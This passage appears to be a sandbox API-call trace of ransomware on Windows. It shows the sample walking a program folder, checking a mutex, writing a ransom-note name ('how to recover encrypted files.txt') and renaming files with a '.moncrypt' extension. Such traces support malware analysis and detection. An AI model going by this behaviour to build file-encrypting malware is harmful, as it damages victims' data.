cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.647] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png", lpUsedDefaultChar=0x0) returned 75 [0058.647] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Stacking\\720x480icongraphic.png", lpUsedDefaultChar=0x0) returned 4 [0058.647] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.647] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.647] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.647] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.647] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png", dwFileAttributes=0x20) returned 0 [0058.648] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.648] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png.moncrypt")) returned 0 [0058.649] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="720_480shadow.png", cAlternateFileName="")) returned 1 [0058.649] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.649] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.649] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.649] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.649] GlobalUnlock (hMem=0x440004) returned 0 [0058.649] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.649] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.649] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.649] GlobalUnlock (hMem=0x440004) returned 0 [0058.649] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.649] GlobalUnlock (hMem=0x44000c) returned 0 [0058.649] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.649] CharLowerBuffW (in: lpsz="720_480shadow.png", cchLength=0x11 | out: lpsz="720_480shadow.png") returned 0x11 [0058.649] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.649] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.649] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.649] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.649] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.649] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.649] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.649] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.650] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.650] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.650] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.650] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.650] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.650] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.650] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.650] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.650] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.650] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png", cchWideChar=70, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.pngc", lpUsedDefaultChar=0x0) returned 70 [0058.650] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.650] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Stacking\\720_480shadow.pngc", lpUsedDefaultChar=0x0) returned 4 [0058.650] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="720_480shadow.png", cAlternateFileName="")) returned 0x54e280 [0058.650] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.650] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.650] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.650] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png", dwFileAttributes=0x20) returned 0 [0058.651] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.651] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png.moncrypt")) returned 0 [0058.651] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7ff104, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7ff104, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54613375, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.651] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.651] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.651] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.651] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.651] GlobalUnlock (hMem=0x44000c) returned 0 [0058.651] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.651] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.651] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.651] GlobalUnlock (hMem=0x44000c) returned 0 [0058.651] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.652] GlobalUnlock (hMem=0x440004) returned 0 [0058.652] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.652] CharLowerBuffW (in: lpsz="NavigationLeft_ButtonGraphic.png", cchLength=0x20 | out: lpsz="navigationleft_buttongraphic.png") returned 0x20 [0058.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.652] 